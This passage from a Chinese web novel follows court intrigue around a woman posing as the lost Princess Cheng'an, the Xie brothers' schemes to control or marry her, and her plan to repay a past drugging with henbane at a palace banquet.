谢昀终于出声,他眉眼依旧平静,只是语气淡淡,“母亲多虑了,儿子从未如此想过。母亲说这样的话,当真是折煞儿子了。若是叫旁人瞧见,还当是儿子不孝。” 她要装,他便也陪她装到底。 “那就好,是母亲多心了。”装了这一场,谢夫人也乏了,她借着话头试探,“只是这成安公主……” 谢夫人斟酌着语气,“先前都怨我,这子慎荒唐,我也跟着他糊涂。想来那成安公主是怨怪上我了。琢章,你与她关系到底亲密……可否在她面前替我解释一二?好歹不能叫她误解了去。” 她把先前处心积虑陷害林莺娘性命称作误会。 “母亲慎言。”谢昀提醒她,“成安公主乃是昔太子殿下血脉,身份尊贵,儿子岂敢高攀。” 这便是打定主意不帮谢夫人。 她一时情急,“可是你与她先前……” 到底是没敢说出口。 “母亲想是累了,早些歇息罢。” 谢昀起身,最后朗声提醒她,“有些话,母亲想来还是应当慎言,若是不慎叫有心人知道,怕是会牵连咱们定远侯府。到时便不止是儿子,怕是子慎也连累其中。到时断的恐就不是一条腿了。” 他话到即止,转身离开。 徒留身后的谢夫人阴沉沉的眼落下来,恨得咬碎了牙,恨不能当场嚼烂他。 ——他拿谢子慎来要挟她。 倘若林莺娘曾为谢昀外室的事被抖落了出去,那谢子慎觊觎林莺娘,强闯雾凇院的事也遮掩不住。 她即便为了谢子慎,也要将此事烂进肚子里,不能说。 谢夫人自此对外称病。 就连宫里为着庆贺成安公主回宫的宴席也未去,只让人提前进宫送了贺礼来。 “哦?二夫人病了?” 林莺娘和平阳公主正在御花园里赏花,听见来通报的内侍表情有些微妙,“真是不凑巧。我还想着之前在定远侯府多有叨扰,此次定要借着宴席好好谢谢二夫人呢!” 又问,“二夫人病得可严重吗?可要我派两个御医过去给夫人瞧瞧?” 跟着内侍进来送礼的是李嬷嬷。 这样的事,总要谢夫人贴身的人过来才算尽心。 她垂首,恭敬回,“谢殿下关心,原也不是什么大病,只是前段时日出门不慎见了风,染上了风寒,只怕在宴席上冲撞了各位殿下金尊玉体。” 谢夫人不敢来。 她此前数次陷林莺娘于险境,想要害她性命,自然怕林莺娘锱铢必较报复回来。 只是林莺娘哪能就让她这般如意。 她笑了笑,“原是染了风寒,这有什么打紧的。到时只让宫人在宴席上收拾一处妥帖地方给二夫人歇息,不叫旁人打搅便是。” “这……” 李嬷嬷吞吞吐吐想要推拒。 林莺娘挑眉看过来,“怎么?二夫人还有何顾忌吗?” 她又落寞垂下眼去,“莫不是二夫人自己不愿来?罢了,是我强人所难了,二夫人便在家里好好歇息罢,你替我向她问声好便是。” 李嬷嬷骇得不轻,忙不迭跪下,“殿下言重了,夫人自是想要来见殿下,是老奴一时失言,说错了话,还请殿下勿怪。” 林莺娘怎会怪罪她。 她可一直是软心肠好说话的姑娘啊,便是如今做了成安公主,也是平易近人的紧。 “那便好。”她笑意盈盈,“那我便等着几日后的宴席上与二夫人叙旧。” 林嬷嬷由内侍带着退了下去。 一旁的平阳公主看这一遭,觉得奇怪,“你为何定要见谢夫人?” 喜欢娇宠外室请大家收藏:()娇宠外室更新速度全网最快。 第140章 我得罪了她,她岂能饶了我 自林莺娘进宫,她便与林莺娘交好,常来寻她。 两人关系亲近,可见一斑。 “我这可是为了殿下考虑。” 林莺娘俏皮眨眨眼。 她与平阳公主年纪相仿,平阳公主不许林莺娘依辈分唤她“姑姑”。 “那也太老了!”她分外嫌弃,“你只唤我平阳便是。” 林莺娘不敢唤她“平阳”。 自个儿算起来可是名副其实的冒牌公主,哪知道哪一天就叫人捅破了去,她心虚得很。 更何况,依着辈分,平阳公主也是长辈。 “那你仍唤我殿下罢,我唤你成安。” 平阳退一步。 是以现下林莺娘仍唤她为殿下,“殿下难道不想见小侯爷?” 平阳公主有什么女儿心事都与她讲。 “这小侯爷事忙,寻常殿下总也不得见,怕是宴席上也不见得得闲过来,我这是替殿下寻机会呀!二夫人是他继母,如今又在病中,想来他便是再忙也得过来接二夫人回府。殿下可不就能见着他了?” 林莺娘语带促狭,尽是打趣,平阳一时羞红了脸,再看四下宫人也在抿唇笑,不由有些恼了。 “好呀!你取笑本宫。看本宫不撕了你的嘴。” 她恼起来才自称本宫。 林莺娘忙笑着讨饶,“殿下,我错了。我再也不敢了。” 另一厢,李嬷嬷带了林莺娘的话回去见谢夫人。 “她定要我过去?”谢夫人听了李嬷嬷的话,心里犯怵,“说得好听是叙旧,说不定心里打量着憋什么坏呢!” 谢夫人这几番和林莺娘接触下来,自然也是了解她的。 看着温温弱弱的,却不是个好欺的性子。 原想着避而不见也是个法子,没想到她竟仗着自己如今的身份压自己。 这是打定主意要在宴席上与自己过不去了。 谢夫人想到此处,不免愁得揉额。 从前林莺娘身份卑贱,自己想收拾她已是千难万难,如今她进了宫,成了尊贵无双的成安公主,自己想和她斗?岂非更是难于登天。 愁的不止谢夫人一个,还有京兆尹家的千金方寻雁。 她刚得知林莺娘被封为成安公主时心里便暗道不好,如今得了宫里的话,要她参加三日后庆贺成安公主回宫的宴席便更是心中慌乱。 此前她陪着谢夫人在谢子慎弱冠礼上给林莺娘下梨花酿的事还历历在目。 身边的丫鬟玉箫安慰她,“姑娘别担心,那梨花酿不是并未起效吗?想来成安公主并不知晓此事。” “对啊!”方寻雁想到此处,慌乱的心稍稍安定了些许,很快她又蹙眉,“不行!我那日还公然为难她了呢!” 是席上众人都瞧见的,她步步紧逼,这才逼得林莺娘不得不喝下那盏下了天仙子的梨花酿。 “完了完了。” 方寻雁面如死灰,“我得罪了她,如今她如日中天,一人之下万人之上,又岂会饶了我。” 思来想去,她来寻求谢夫人相助。 “夫人可要帮我。”方寻雁见着谢夫人,哭哭啼啼质问她,“当时是夫人和我说的,她林莺娘是上门打秋风的穷亲戚,怎么一转头她就成了成安公主呢?” 林莺娘的来历宫里自然有话解释。 只说林莺娘不过是寄养在江州林家的姑娘,并非林崇文亲女。如今她认祖归宗,记回昔太子名下,从前在江州的往事也无人敢再提。 偏偏方寻雁敢提,她如今是走投无路了。 “当时若不是夫人那般说,我怎会做出那样的事。那盏下了天仙子的酒可是夫人让我逼她喝的,排挤她,逼她出府也是夫人出的主意,如今这成安公主要来寻我的麻烦,夫人可不能见死不救。” 她实在害怕极了,说话也格外没有顾忌,一张口就尽数抖落了出来。 好在四下无人。 李嬷嬷忙去关窗闭门,又板着脸来提醒她,“方姑娘慎言,什么天仙子的酒?没有的事就别信口胡言。” 方寻雁也知道自己是说错了话,忙改口,“没有没有,什么天仙子,是我脑子昏了,胡诌的。” 她来扯榻上谢夫人的衣袖,哀声恳求,“可是我得罪了成安公主是事实。说到底,我也是为了夫人才去做这糊涂事,夫人可不能不管我。” 谢夫人对外称病,本只是装作生病的模样,现下也被她这哭哭啼啼吵得头疼。 “慌什么?” 谢夫人揉着额角,甚是不耐开口,“你到底是高门贵户家的小姐,哭哭啼啼的像什么样子,往日里的娴静持重到哪里去了。” 方寻雁平白挨一顿批,抽抽噎噎不敢出声。 谢夫人又安抚她,“你别怕,这成安公主眼下才进宫,正是众矢之的,多少双眼盯着她呢!何况这宴席乃是为贺她认祖归宗,记回昔太子名下所开,她纵是想寻你麻烦也不敢在这样的日子。你莫要自乱了阵脚,平白叫人笑话。” 方寻雁叫她连番话唬住,“真……真的吗?” 谢夫人拍拍她的手,又拿帕子给她擦了眼泪,脸上尽是慈爱,“好孩子,叫你吓住了。你别怕,万事都有我在呢!我会护着你的。” 得了她这番话,方寻雁才算吃了定心丸。 “夫人您可定要帮我。” 她满脸期许。 谢夫人点点头。 李嬷嬷送方寻雁出去。 房门阖上又打开,谢夫人斜倚在榻上闭目养神,听见脚步声响,以为是李嬷嬷回来,问一声,“人送出去了?” 没有人回答。 谢夫人睁开眼,瞧清面前的人,忍不住蹙眉,“子慎,你什么时候来的?” 谢子慎早就来了。 在方寻雁哭哭啼啼要求谢夫人相助的时候,谢子慎就在外头的廊檐底下听着。 等李嬷嬷带着她走后,他才默默走了进来。 “母亲为何如此嫌弃莺娘,定要置她于死地?” 他知道了谢夫人蓄谋给林莺娘下药,想要将她赶出金陵城的事。 “你听见了?” 事到如今。 谢夫人也不再打算瞒他,她牵起嘴角,冷哼一声,“我自然嫌弃她。她什么身份?也值得你为她寻死觅活地来忤逆我?我岂止嫌弃她,我恨不能杀了她!” 喜欢娇宠外室请大家收藏:()娇宠外室更新速度全网最快。 第141章 母亲,我要尚公主 没有外人,她在自己的亲子面前说话格外没有顾忌。 “母亲,她是公主!” 谢子慎愤然提醒她。 “她只是现在是公主!” 谢夫人对林莺娘的嫌恶露在面上,恨在心里,咬牙狠狠道:“你别忘了她这个公主之位是怎么来的?她之前可是骗了你,骗了我们所有人,她还骗了她在江州的父亲。她可从不是什么林家庶女,她是怎么处心积虑混进林家的?她又是怎么借着这个身份接近你,欺瞒你的,你可知晓?” 谢子慎未必不知。 他又不是全然蠢货,何况经历这么多,他也逐渐看透。 ——林莺娘从前或许对他有情,但不知何时,那点子情意早已湮灭得干干净净,从始至终,只有他困死在江州那日的客船上。 谢夫人见他沉默,知道他是听进去了。 又来劝他,“子慎,从今以后,她便和咱们家再无干系了。你如今也弱冠,该懂事了,那林莺娘不值得你这般惦记。你忘了她,等过些时日母亲在金陵城里给你寻门顶好的亲,往后好好过日子,可好?” 谢子慎摇摇头。 说出的话险些叫谢夫人骇破了胆。 他看着谢夫人,说,“母亲,我要尚公主。” 当今朝堂上只有两位公主与他年岁相配。 一位平阳公主,已许了定远侯爷谢昀。 还有一位,是林莺娘。 “你说什么?”谢夫人不可置信。 “我要尚公主。”谢子慎又说了一遍,他出奇的冷静,“儿子如今腿脚废了,朝堂上又只得了个巡城御史的虚职,是没有高门贵户家愿意将姑娘许给我的。” 他看着谢夫人,一字一句,“儿子必须要尚公主,只有攀上成安公主这条高枝,儿子才能在朝堂上有一席之地。” 他再不是从前浑浑噩噩的天真公子了。 谢夫人看清他眼里的野心,还想再劝,“子慎,咱们也不一定非要尚公主,那个林莺娘……她可是被你兄长收用过的……” 这事外人不知,他们几个可是知晓得一清二楚。 “无妨。” 谢子慎丝毫不在意,“儿子不过是看重了她的权势罢了。” “不……” 谢夫人还是不能同意。 她没办法接受林莺娘与谢子慎牵扯上干系。 但谢子慎心意已决,“儿子不是来征求母亲意见的,儿子只是来知会母亲一声。无论母亲答不答应,儿子都会去做。” 他要参加三日后宫中的宴席。 那不止是庆贺成安公主回宫的宴席,金陵城里隐隐有流言散出。 ——成安公主年岁正好,圣上有意在宴席上为她择一驸马。 这是谢子慎唯一的机会。 林莺娘也是后来听平阳说起才知道圣上竟存了这个心思。 “招驸马?” 她实在诧异。 自己进宫才几日,公主的位置且还没有坐热乎呢,圣上竟然就想在宴席上为她招婿。 林莺娘搁在唇边的茶盏悻悻放下,试探着道:“这……这未免也太快了些罢。” 她可不想招什么驸马。 自己可是冒名的公主。 这好端端的招个驸马来不是给自己找麻烦? 平阳公主将她的诧异看在眼里,不甚在意,“这有什么快的?你我年岁相当,我亲事早已定下,你的自然也该谋划。” 但其实,此事是圣上着急。 他眼看大限将至了,为着他的千秋名声,他也该在自己咽气前给林莺娘找个好归宿,好全了他名正言顺的声名。 此为一。 二是顺便也可以借着驸马的手,在自己死后,悄无声息的要了林莺娘的命。 毕竟宫里人多眼杂,不好下手。 但若是死在宫外的公主府,只说公主身子向来不好,成婚后始终缠绵病榻,这才不幸离世。 这样的说法,无人会起疑。 便是起疑。 也该是疑到驸马头上,无人会疑他这盛世明君。 平阳公主自然不知道圣上这些筹谋打算,还语气艳羡对林莺娘道:“父皇对你可是真好,又办宴席又招驸马。连往后你成婚用的公主府都备好了呢!” 正巧是昔太子在宫外的私邸。 自昔太子东宫大火故去后,那处宅子便搁置了下来。眼下林莺娘回宫,圣上已着人将那私邸修缮妥当,只等着她与驸马成婚后便搬过去。 当真是为她顾虑周全。 这是圣意。 林莺娘不能推辞,还得谢恩才是。 平阳公主说到此处,又想起一事来。 “对了,你不是曾与我说过,你在江州有一情郎吗?” 是先前林莺娘敷衍她的话。 “你何不与父皇说明,将你那情郎接来金陵城做驸马,也好全了你们两情相悦的情意?” 哪有什么情郎。 但这事不能说。 说了先前诓她的话便揭穿了去。 林莺娘慌乱得眼睫儿轻颤,正要寻着藉口敷衍。 却见平阳公主又摇头,自顾自道:“想来你那江州的情郎不是什么勋爵人家。” 江州地处偏僻,便是当地最大的官落在金陵城里也是微末得如尘埃得紧,是万万入不了金陵城里这些贵人的眼。 “父皇一定不会同意你与他成婚的。”平阳公主笃定道。 她是宫里千娇万宠,金尊玉贵长大的金凤凰。 却也是这金陵城里最知晓名利权势的人。 皇室血脉出身高贵,岂有下嫁,同寻常平民通婚的道理。 圣上是万万不能同意的。 她又来劝林莺娘,“你也别难过。你如今是公主之身,自然不同以往。那个情郎,你还是莫要再惦记了。还是好好听父皇的话,在这金陵城里另寻个佳婿。” 平阳公主当真是一心为林莺娘好。 又见她垂着眸顺着眼,不言不语的温吞样子,还以为她是舍不下那江州的情郎。 不免唉声叹气,替这两个可怜被拆散的鸳鸯惆怅。 她想着法儿给林莺娘出主意,“事到如今,你也别太难过。你要实在舍不下你那情郎,我倒是有个法子。” 平阳公主附耳过来悄声说与她听。 林莺娘越听越心惊,最后捂住了唇,讶异的睁大眼看她,“这样也行吗?” 喜欢娇宠外室请大家收藏:()娇宠外室更新速度全网最快。 第142章 你那江州两心相许的情郎呢? “自然是行的。”平阳公主撇撇嘴,“父皇若是当真让你成婚,你答应着便是。那驸马你若是不喜,成婚后你就搁在府里,自与你那情郎双宿双栖。” 这养面首的事,说稀奇也不稀奇。 前朝后世,哪个朝代没有这样的事,就连史书也寥寥记过几笔。 是以平阳公主也不觉得有异。 “这样啊……” 林莺娘像是想起了什么,她看着平阳公主,几经斟酌,欲言又止,“那殿下以后与定远侯爷……” 平阳公主与谢昀的亲事是板上钉钉的事。 倘若他们俩成婚。 那平阳公主…… 林莺娘不敢想。 平阳公主看清她眼里的揶揄和好奇,一时恼了,“你胡思乱想什么?!” 她脸上泛起嫣红,是心有所属的姑娘想起了自己的情郎的羞涩。 “我自然不会这般对谢大人的,我们情投意合,两情相悦,往后自是夫妻恩爱和顺。” 只是待平阳公主离开后,她口中即将与她夫妻恩爱和顺的夫君便自里间施施然走了出来。 林莺娘长长舒出一口气,拍着胸脯暗自庆幸,“好在没有叫平阳公主撞见。” 方才她与谢昀正在说话,却有宫人在外头报——平阳公主来了。 “平阳公主来了?” 林莺娘本在谢昀怀里,惊得立即起身,这便慌不择路要将他藏起来。 “为何要躲?” 谢昀不解。 林莺娘一边将他往里间推一边解释,“不能叫平阳公主知道你在这里。” 谢昀擒住她推搡的手,觉得好笑,沉声又问,“为何不能叫她知道?” 谢昀过来看林莺娘并未避着人。 林莺娘进宫前是寄宿在定远侯府的远亲,这是众人皆知的事。如今她进宫做了公主,谢昀过来探望她也未尝不可。 “别人可以知道,平阳公主不行!” 姑娘实在焦急,也顾不上多做解释便将他推搡进了里间。 好在帘子将将落下来,外头便传来平阳公主唤她的声。 “殿下……” 林莺娘连忙应下,转身笑意盈盈迎出去。 平阳公主又来找她说话。 自林莺娘进宫后,这是常有的事。往常不过说些寻常姑娘闺中的话,谁知今日竟将话头说到林莺娘头上,还是这样惊世骇俗的话。 林莺娘当时听着便暗暗心惊。 不知道里间躲着的那位听见了会如何做想。 好不容易把平阳公主应付走了,她才松懈下来,抚着胸膛舒气。 “侯爷往后别再来了,再这样折腾两次我就要吓死了。” 她把自己的手忙脚乱和心虚怨怪在谢昀身上。 谢昀出来便是瞧见她这么一副劫后余生,咬唇嗔怪他的可怜模样。 他撩袍在林莺娘面前坐下,自顾自斟一盏茶,好笑问,“便就这么怕她?难得看你这么怕一个人,平阳公主便就这么可怕吗?你与她不是素来交好?” 什么都逃不过谢昀的眼去。 林莺娘这些时日虽在宫里,但却活在谢昀的眼里。 她见过什么人,做过什么事,他无有不知。 林莺娘好歹算是缓过来。 她摇摇头,“平阳公主不可怕。” 可怕的是,若是知道谢昀与林莺娘来往亲密的平阳公主。 女子的妒忌心可是很可怕的。 林莺娘在青楼楚馆里摸爬滚打,从来便知晓这个道理。 她不能叫平阳公主知晓自己与谢昀的事,便是一点点怀疑都不行。只要有一点点怀疑,迟早有一日,那怀疑就会叫有心人利用,扩大,只要有一点嫉妒的引子,便足以吞噬她。 林莺娘从来不会轻易将自己置于险境之中。 谢昀端盏饮茶,不动声色的眼看着她。 他最看重的便是林莺娘这点聪慧与通透。 甚至都不需自己提点,自己就能敏锐找到对自己最有利的一面。 当然,他也毫不吝啬来夸她,“你倒是考虑得周全。” “不考虑得周全些,莺娘早就死了呀!哪里还能现下坐在这里与侯爷说话。” 她每次语气娇嗔可怜些,便必定有事求他。 又是沥沥娇莺般的嗓音,眼波潋滟,纤纤玉指接过他手中的盏。 “侯爷还有闲心喝茶。圣上想给我招驸马呢,侯爷还不快想个法子。” 招驸马一事定是要糊弄过去。 她身边有一个谢昀已是如履薄冰,再来个驸马可是分身乏术,她应付不及。 他伸手,连人带盏一同搂进怀里,借着姑娘的手饮茶。 茶香混着胭脂香一同入喉。 “何必要我想法子。” 他搁下盏,挑起姑娘的下颌,深深看进她眼里,“你那江州两心相许的情郎呢?” 两个姑娘隐秘,不见外人的闺房话,他尽数听进耳里。 “侯爷冤枉啊!”她在他手底下眼睫止不住地轻颤,“我哪有什么情郎,不过是诓骗平阳公主的谎话。莺娘从始至终,心里只有侯爷一人呢!” 她说起这样哄人的谎话来,也是信手拈来的紧。 倘若面前的是谢子慎,定要叫她这副情意绵绵的模样给诓了去。 可惜。 她面前的是谢昀。 他从来不信她这样哄人的话。 虽然不信,却爱听。 他眉眼眼见地舒展开来,挑起下颌的手也改为了摩挲,极轻极缓,意味深长。 “你可要牢牢记得你说的这番话才好。” 她在他手底下,乖顺地点头。 “那驸马……” 她还记着平阳公主来说的事。 “这事你不必管,我自有安排。”谢昀指腹摩挲着她柔软的颊,“你只要乖顺,听我的话,我定会护你无虞。但你若是不听话……” 他又凑近,敲打的意味浅显,“那这冒名顶替公主的滔天大罪……” 他在要挟她。 他有法子让她混进这宫里做金尊玉贵的公主殿下。 便也有法子,将这欺君的大罪由她一人担了去。 林莺娘如何听不出来。 她心里暗骂,面上仍是盈盈春水含笑,“莺娘自然听侯爷的话。” 这一遭叙旧的时辰耽搁的长了。 谢昀起身要走。 林莺娘自他怀里出来,又想起一事,软着声来求他,“侯爷能不能将采雁送进宫来陪我?” 喜欢娇宠外室请大家收藏:()娇宠外室更新速度全网最快。 第143章 你说什么,你想娶成安公主? 她想采雁了。 自进宫那日起,主仆俩便再未见过。两人自幼是一同长大的,情分自然不同寻常。 林莺娘早想将采雁接来。 之前顾忌着自己冒名顶替的公主身份,眼下得了谢昀的话才算搁下心来。 谢昀想了想,到底应和下来。 “好。” 谢昀不止将采雁送了进来。 一同进来的,还有兰秋。 在雾凇院贴身伺候的三个丫鬟,只有银翘被留在了府里。 她到底是谢夫人送过来的人,虽然后来倒戈在了林莺娘这边,谢昀到底是不放心。 至于兰秋。 他总要留个自己的人放在林莺娘身边。 采雁见着林莺娘眼就红了。 “姑娘……” 再一开口,泪就落了下来。 她担心坏了。 林莺娘入宫那日是她亲眼见着的,雾凇院里的人都说林莺娘这是一遭飞上枝头变成凤凰。 只有采雁知道,不是的。 她还记得幼时她同林莺娘和姜氏一同进林府。 林府的丫鬟小厮也是这么说。 她们说林莺娘命好,当年一碗红花汤都没能要了她的命,如今林家主母死了,她还能堂堂正正回林府当小姐。 可是没有人瞧见。 林莺娘被烛台烫伤时手臂上燎起的水泡。 没有人瞧见。 她平时被林云霜欺负得恶语相向。 林家的姑娘岂是那么好当的? 那还是小小江州城的林府。 如今她却是进了宫。 这是一遭行差踏错就能丧了命的地方。 林莺娘进宫几日,采雁便在雾凇院担心得哭了几日,现下见着林莺娘眼都仍是红的。 林莺娘心疼来抱她,“好采雁,我没事呢!别哭了……” 她还有心思来逗她,“再哭下去眼可就瞎了,要是被长风瞧见可怎么好,他可不能饶了我。” 长风喜欢采雁,这是雾凇院里人尽皆知的事。 采雁经她这一逗,才算破涕为笑,“姑娘真是坏,就知道欺负我。我白担心姑娘了。” 兰秋在一旁出声提醒,“殿下如今是成安公主了,可不能再唤姑娘,得称殿下才是。” 她拉着采雁,重新给林莺娘端正行了个礼。 “奴婢兰秋,采雁见过殿下。殿下千岁。” 林莺娘过去拉她们起来,“好了,在我这成安宫里,没有那么多规矩,往后你们只当是从前在雾凇院里一样。” 白日里有宫人。 夜里熄了灯,主仆俩悄悄在里间说私话,连兰秋也避着。 “姑娘。”采雁还是不适应叫林莺娘“殿下”,“你怎么就成成安公主了呢?” 采雁那日听见内侍宣旨时,和林莺娘反应一样,是不可置信。 旁人不知晓内情。 但采雁是知道的。 杨盼山抛妻弃子,为了抵自己欠下的赌债,将身怀有孕的妻子卖去了青楼。 做出这般混账事的人,竟是昔太子殿下仅存的血脉。 采雁也万万不敢相信。 “自然不是他。” 林莺娘说起自己生父时,格外没好气。 这样的大事,她也没想瞒着采雁,压低了声音,将事情原委尽数告知她。 采雁瞪大了眼,“是假的?” 她又捂着嘴,用仅有两人听见的声对林莺娘道:“姑娘,这可是欺君,我们会死的。” 林莺娘如何不知道。 她叹了口气,若有所思的脸,“也不知这谢昀葫芦里卖的什么药。” 他什么都瞒着她。 林莺娘只能猜。 “难不成是想借这成安公主的名头将谢家二夫人拉下来?” “那也不至于欺君罢。”这么浅显的事,采雁都看得明白,“虽然说姑娘如今有了公主身份,想要收拾谢家二夫人轻而易举,但是这可是欺君大罪,侯爷有必要如此冒险吗?” 说的是呢! 林莺娘又想起那日谢昀带她去见的人。 是偏远郊外停着的马车,宫闱里一件不能为外人道的秘事。 还有他说与自己说话时,眼里有意无意泄露出来的野心。 林莺娘心里似乎有了一个答案。 她搁置在心里,不敢说。 很快便是三日后宫中宴席。 前一日,谢子慎先往四皇子府中递了拜帖。 本来金陵城里一个不入流的巡城御史,四皇子是见也不想见的,但谢子慎借着是定远侯府的名头。 眼下这成安公主势头正盛,圣上颇为看重。 这成安公主进宫前,又与定远侯府有亲。 四皇子心里掂量了一下,让人将谢子慎放了进来。 “见过殿下。” 谢子慎脚伤未好,乃是拄拐进来,看得四皇子眉头一皱,“你这是……” 他不知谢子慎的私事。 谢子慎躬着身解释,“微臣前段时日去书阁取书,不慎从高梯上摔了下来。” 是和谢夫人一样的说辞。 四皇子不过随口一问,并没有深究的意思。 他高坐八仙椅上,看底下的谢子慎,“听说你要见本殿下,是有什么事吗?” 有人进来为谢子慎看座上茶。 他没喝。 搁了拄拐的杖起身,又躬身拜下,“微臣请殿下相助。” 四皇子挑眉,“你要我助什么?” 谢子慎道:“微臣想娶成安公主,还请殿下相助。” 话音落,四皇子从八仙椅上站起身来,“你说什么?你想娶成安公主?” 四皇子不可谓不惊诧。 其实,自圣上有意为成安公主招驸马的话传出宫。这些时日,不少高门贵胄的子弟都有向四皇子递过拜帖,话中明里暗里也是有想尚公主的意愿。 但像谢子慎直言的还是头一个。 四皇子看了看谢子慎,摇摇头,“你这个忙,本殿下怕是帮不上。” 想娶成安公主的人何其多。 谢子慎不论是家世,还是仕途,在这些高门贵胄面前都是不够看的。 四皇子觉得谢子慎在痴心妄想,也懒得和他多言,这便要让人请他出去。 “等等,殿下——” 谢子慎自是不会这般轻易便走,他撑着自己的残腿,径直跪了下来。 他不敢耽搁,快速对四皇子道:“殿下或许有所不知,成安公主乃是微臣接来的金陵。我们早在江州时,便私定了终身。” “你说什么?” 四皇子起了兴致,他让正堂的人都退了下去,又亲自来扶谢子慎起身。 喜欢娇宠外室请大家收藏:()娇宠外室更新速度全网最快。 第144章 香囊,定情之物 “你说的,可是当真?” “微臣所言,句句属实,不敢欺瞒殿下。” 谢子慎解释道:“我与成安公主在江州时便一见倾心,林伯父也曾有意要将公主托付给我。我本允诺公主,回了金陵城便给她个名分。奈何路上遇了山匪,我身受重伤,昏迷许久。公主却以为我是负了她,自此与我生了嫌隙,这才闹着要回金陵去。” 他话里半真半假,落在四皇子耳中并无纰漏。 谢子慎垂下眸,眼里有无法抑制的伤痛,“但是我知道,公主对我还是有情的。因此微臣特意来求殿下。” 四皇子观他神色不似作伪。 “只是……” 他皱眉,到底小心,“既然你与成安公主有情,公主也对你有意,你大可直接求娶。来找本殿下做甚么?” 要知谢子慎的兄长定远侯谢昀,可是内阁里的重臣,在圣上面前也是说得上话的。 谢子慎摒弃这助力,转而找到四皇子面前,他不得不起疑。 谢子慎自然有话解释。 “殿下不知。微臣兄长与成安公主曾有交恶。” 他眉眼黯淡下来,“之前在江州,兄长见我与公主交好,曾屡次敲打告诫。” 为什么敲打。不必言明。 一个是江州七品官吏的庶女,一个是金陵侯府家的公子,任是谁也能瞧出其中的天差地别来。 只是没想到,世事诡谲。 当初人人不喜的七品官吏庶女,一跃成了金陵城里最风头无两的成安公主。两人的身份,浑然掉了个个儿。 现下,却是谢子慎高攀不上她了。 谢子慎落寞道:“不瞒殿下,微臣欲尚公主一事兄长已经知晓,只是之前阻拦在先,如今贸然求娶恐公主不喜。何况公主对微臣嫌隙尚在,怕是不能答应。” 他说着,朝四皇子一拱手,“微臣只能来求殿下,明日宫中宴席,还请殿下助臣一臂之力。” 谢子慎心里有打算。 他纵使去了宴席,明日在场人多,他也见不上林莺娘的面。 他只能来求四皇子,借着他的势,自己才能走到她面前。 只是四皇子也不是那么轻易便应允之人。 他看了看谢子慎,微微一笑,“你与成安公主的情意,本殿下听了,当真是感动,也有意相帮一二。只是此话皆是你一人所言,成安公主是否当真如你所说这般……” 四皇子有些迟疑。 谢子慎自怀里取出一个香囊,呈给他看,“此香囊乃是成安公主所绣,是我们在江州时她送与微臣的定情信物。” 从前在林府。 林莺娘待他不可谓不尽心竭力,香囊荷包送了个齐全。 这都是未出阁的姑娘赠与情郎的定情之物。 后来回金陵途中,遇了山匪。 姑娘所赠之物大多遗失不见,只有这个香囊,他贴身收着,这才幸免于难。 四皇子将那香囊接在手里,细细瞧,终于应允,“好,既是你与成安都有情,本殿下自然是要成人之美才是。” 他有意要帮谢子慎。 眼下圣上病重,诸位皇子夺嫡之争已是愈演愈烈。这当头,谁都想为自己在朝上多谋求一份助力。 自己若是帮了谢子慎,成全他与成安公主的好事。成安公主与他,都得记着自己的这份恩情。 还有谢昀。 谢子慎到底是定远侯府的人。 定远侯府一向中立,不问党争之事,眼下正是拉拢他的好时机。 但四皇子还是谨慎。 待谢子慎走后,他将那香囊交给贴身的人送进宫去,并交代,“别说是本皇子拿的。就说是谢子慎顾念从前的情意送过去的,庆贺她回宫的贺礼。” 他要看林莺娘的反应。 林莺娘没什么反应。 她自是认得自己的香囊,却装作不认得,“我不知道什么香囊,怕是他记错了罢。” 她不知道谢子慎在这当头送来香囊是想干什么。 但是她敏锐的觉察出,不会有什么好事。 林莺娘对送来香囊的内侍道:“这次便罢了,以后这样不知来处的东西别再送进来了。” 内侍应声退下去。 林莺娘又出声唤住他,“那香囊再给我瞧瞧。” 香囊再度呈至林莺娘手里,她翻来覆去瞧了瞧,“倒是精巧。罢了罢了,既是送来的贺礼,便留下罢。” 林莺娘把香囊留了下来。 待内侍离开后,她便将香囊丢给了采雁,“拿去烧了吧。” 她从前送给谢子慎的东西不能留。 本来以为三鹤山那一趟,所谓的定情之物已经尽皆没了,不想还留了个漏网之鱼。 采雁将香囊拿下去,避开了宫人,去僻静无人之处烧。 方才那内侍却折返,躲在山石后静静瞧,待到采雁离开后才去看那烧完的烟灰。 ——香囊已烧了个干干净净。 他将自己所见回来禀四皇子。 四皇子若有所思,自言自语道:“竟是烧了,倒是有几分欲盖弥彰的意思。” 他此时才确信谢子慎说的话。 倘若那香囊并非成安公主的,她何必演出这一局对面不识,暗里损毁的戏来。 不过是依着谢子慎所言,她记着谢子慎从前在江州的誓言,以为谢子慎负了她,是以心生嫌隙,连带着他送来的定情信物都恼恨得要烧了去。 这一切,林莺娘全然不知。 她见采雁回来,问她,“可烧完了?没叫人瞧见吧?” “没有。” 采雁确信摇摇头,“殿下放心,我瞧得真真的,绝没有人看见。” 林莺娘这才落下心来,却也恼恨。 “这谢家两个兄弟真是没有一个省心的。” 谢昀算计她,将她弄进宫里做这破劳什子的成安公主,害得她日日提心吊胆,生怕哪一日捅破了天去。 如今这谢子慎也来插一脚。 拿着不知从哪儿冒出来的香囊,说什么希望公主顾念着从前的情意。 她与谢家两兄弟有什么情意。 有的只有利用,攀附。 现下倒是多了一条,恨不得拉他们下地狱。 林莺娘对谢家这两兄弟,不可谓不恨得咬牙切齿。 采雁瞧在眼里,忙过来给她拍背揉肩,替她顺气,“殿下别生气了,为了谢三公子气坏了自己的身子,可万万不值得。” 这是在采雁面前。 等到兰秋进来,林莺娘又换了张笑意盈盈的脸,“侯爷给我送什么好东西来了?” 第145章 宫宴 兰秋去取谢昀送给林莺娘的礼。 倒也没什么稀奇的,无外乎金石玉器,不过精巧别致些,也是滚滚红尘里最寻常不过的俗物。 林莺娘最是欢喜这些俗物。 她欢欢喜喜收下来,眼也舍不得挪开,对兰秋吩咐,“你去侯爷面前回个话,就说这些礼我很喜欢,多谢侯爷惦记。” 兰秋自当应下,又上前,递上一个小楠木盒。 她道:“这是殿下托侯爷买的胭脂。” 林莺娘接过来,打开瞧了一眼,旋即弯着眼笑开,“果然是我要的,替我谢过侯爷。” 楠木盒里不是胭脂。 是天仙子。 谢子慎冠礼上,那一盏搁了天仙子的梨花酿,林莺娘可记得清清楚楚呢! 她是那样睚眦必报的一个人。 明日宫中宴席,这样好的机会,她岂能轻易放过。 方寻雁到底还是不安心,愈临近宴席之日她心中愈忐忑难安。 夜里睡不好,白日里从榻上起来眉眼也泛着乌青,玉箫盖了几层胭脂也遮不住她的憔悴。 “姑娘要不今日就别进宫了?” 